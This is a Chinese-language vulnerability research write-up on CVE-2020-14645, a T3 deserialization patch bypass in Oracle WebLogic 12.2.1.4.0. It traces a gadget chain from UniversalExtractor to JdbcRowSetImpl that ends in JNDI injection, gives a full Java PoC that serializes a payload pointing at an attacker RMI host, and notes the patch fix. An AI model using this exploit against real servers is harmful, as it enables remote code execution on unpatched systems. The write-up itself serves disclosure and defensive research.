T3反序列化 Weblogic12.2.1.4.0 JNDI注入挖掘过程(CVE-2020-14645)
2020-07-28 16:35:01

文章首发于:https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ

CVE-2020-2883 将 extract 方法存在危险操作的 MvelExtractorReflectionExtractor 两个类加入到了黑名单中,因此我们只需要继续找一个 extract 方法存在危险操作的类即可绕过补丁,这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能打 Weblogic 12.2.1.4.x。

漏洞复现

1.png

影响范围

Oracle WebLogic Server 12.2.1.4.0

漏洞报告

入口同 CVE-2020-2883,利用 java.util.PriorityQueue 反序列化时会间接调用 com.tangosol.util.ValueExtractor 接口任意实现类的 extract 方法。2.png 在 CVE-2020-2883 中我们可以使用 com.tangosol.coherence.rest.util.extractor.MvelExtractorextract 方法执行mvel表达式或者使用 com.tangosol.util.extractor.ReflectionExtractorextract 方法反射调用任意方法。但是补丁把他们都加入到了黑名单中,因此我们需要再找一个 extract 方法有危险操作且实现了 com.tangosol.util.ValueExtractor 接口的类。 我这里找到的是 com.tangosol.util.extractor.UniversalExtractor

1
2
3
4
5
6
7
8
9
10
11
12
public class UniversalExtractor<T, E> extends AbstractExtractor<T, E> implements ValueExtractor<T, E>, ExternalizableLite, PortableObject {
public static final String[] BEAN_ACCESSOR_PREFIXES;
public static final String METHOD_SUFFIX = "()";
@JsonbProperty("name")
protected String m_sName;
@JsonbProperty("params")
protected Object[] m_aoParam;
protected transient String m_sNameCanon;
private transient TargetReflectionDescriptor m_cacheTarget;
private transient boolean m_fMethod;
......
}

看其 extract 方法,虽然if条件中有一个 invoke 操作,但是 this.m_cacheTarget 使用了 transient 修饰导致无法被序列化。3.png跟进else条件中的 extractComplex 方法,该方法中也有一个 invoke 操作,虽然我们可以控制参数  oTargetaoParam ,但是 method 对象的获取过程也有一个if条件。4.pngClassHelper.findMethod 方法通过类、方法名以及方法的参数类型数组来反射返回该类中的特定方法。因此只要我们进入else条件中,即可调用任意类的任意方法。5.png 进入else条件的前提是 this.isPropertyExtractor() 返回false,也就是 this.m_fMethod 为true,但是该成员变量依然使用 transient 修饰,无法序列化,因此我们只能寄希望于if条件中。

1
2
3
public boolean isPropertyExtractor() {
return !this.m_fMethod;
}

看下if条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected E extractComplex(T oTarget) throws InvocationTargetException, IllegalAccessException {
......
String sCName = this.getCanonicalName();
boolean fProperty = this.isPropertyExtractor();
Method method = null;
if (fProperty) {
String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);

for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
}else{
......
}
}

跟进 sCName 的赋值过程 this.getCanonicalName() ,因为this对象的原因,Lambdas.getValueExtractorCanonicalName 无论如何都会返回null。6.png 接着看下 CanonicalNames.computeValueExtractorCanonicalName ,如果 aoParam 不为 null 且数组长度大于0就会返回 null ,因此我们可调用的方法必须是无参的。接着如果方法名 sName 不以 () 结尾,则直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头,是的话就会截取掉并返回。7.png 回到 extractComplex 方法中,在if条件里会对上面返回的方法名做首字母大写处理,然后拼接 BEAN_ACCESSOR_PREFIXES 数组中的前缀判断 clzTarget 类中是否含有拼接后的方法,此时会发现我们现在无论如何只能调用任意类中 getis 开头的方法,并且是无参的,条件有些苛刻。8.png 不过仔细观察发现 UniversalExtractor#extract 方法可以调用两次,我们可以利用第一次调用改变 UniversalExtractor 对象的关键成员变量值,在第二次调用时完成利用。9.png 接下来我想了三个思路:

  1. 直接去找所有类中 getis 开头并且可利用的无参方法
  2. 想办法调用 init 方法对 this.m_fMethod 进行赋值,从而令 fProperty 的值为false并进入else条件中。

10.png

  1. extractComplex 方法中对 this.m_cacheTarget 进行了赋值,因此我们第二次调用 UniversalExtractor#extract 方法时可以进入到if条件中执行 targetPrev.getMethod().invoke()

11.png12.png 由于我们只能调用 getis 开头的方法,因此思路2不行。由于我们在利用 targetPrev.getMethod().invoke() 调用任意方法时,传入的参数和 extractComplex 方法中 findMethod 的参数是同一个,导致如果我们调用非 getis 开头的方法时,findMethod 会返回 null ,从而在 method.invoke 时会报错,这样的话就无法第二次调用 UniversalExtractor#extract 方法,因此思路3也不行。 最终只能用思路1去全局搜 getis 开头且存在危险操作的无参方法。虽然只能调用无参方法,但是我们可以通过序列化控制对象的成员变量来获取一些可控点,当然该方法所在的类必须是可序列化的,另外该方法的危险操作涉及到的对象依然需要可序列化,否则无法利用。 这个寻找过程和fastjson有些相似,最终找到了 com.sun.rowset.JdbcRowSetImpl 这个jdk内置类,看下其 getDatabaseMetaData() 方法。13.png 跟进 this.connect() ,可以发现只要 this.getDataSourceName() 可控,我们就能进行JNDI注入。14.pnggetDataSourceName() 调用的是父类 javax.sql.rowset.BaseRowSet 的,其 dataSource  属性是可序列化的,因此我们可以控制 this.getDataSourceName() 的返回值。

1
private String dataSource;

15.png 最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.*;
import java.lang.reflect.Field;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import java.util.PriorityQueue;
import com.tangosol.util.extractor.UniversalExtractor;
public class Weblogic12_2_1_4_JNDI {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, Exception {

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://vps:1099/xxxx"); //JNDI address
String m_sName = "getDatabaseMetaData()";
Object[] m_aoParam = new Object[0];

UniversalExtractor universalExtractor = new UniversalExtractor(m_sName, m_aoParam,0);

Object[] innerArr = new Object[2];
innerArr[0] = jdbcRowSet;
innerArr[1] = jdbcRowSet;

ExtractorComparator extractorComparator = new ExtractorComparator(universalExtractor);
PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);

Field filed = PriorityQueue.class.getDeclaredField("queue");
filed.setAccessible(true);
filed.set(priorityQueue, innerArr);
Field filed2 = PriorityQueue.class.getDeclaredField("size");
filed2.setAccessible(true);
filed2.set(priorityQueue, 2);

ser(priorityQueue, "./weblogic_12.2.1.4.0_JNDI.ser");
}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new DataOutputStream(new FileOutputStream(file)));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}

}

由于Weblogic在JEP290机制下做的是全局反序列化过滤,而JNDI在jdk高版本依赖于本地Class的反序列化链,因此在Weblogic中JNDI注入只能打 JDK6u211、7u201、8u191 之前的版本。

漏洞修复

p31537019_122140_Generic.zip:https://updates.oracle.com/Orion/Services/download/p31537019_122140_Generic.zip?aru=23654622&patch_file=p31537019_122140_Generic.zip 可以看到最新补丁的黑名单中不仅过滤了 com.tangosol.util.extractor.UniversalExtractor ,还过滤了 com.tangosol.util.extractor 包下的其他几个类,另外也把com.tangosol.coherence.rest.util.extractorcom.tangosol.internal.util.invoke.lambda  等一些包加入了黑名单中。16.png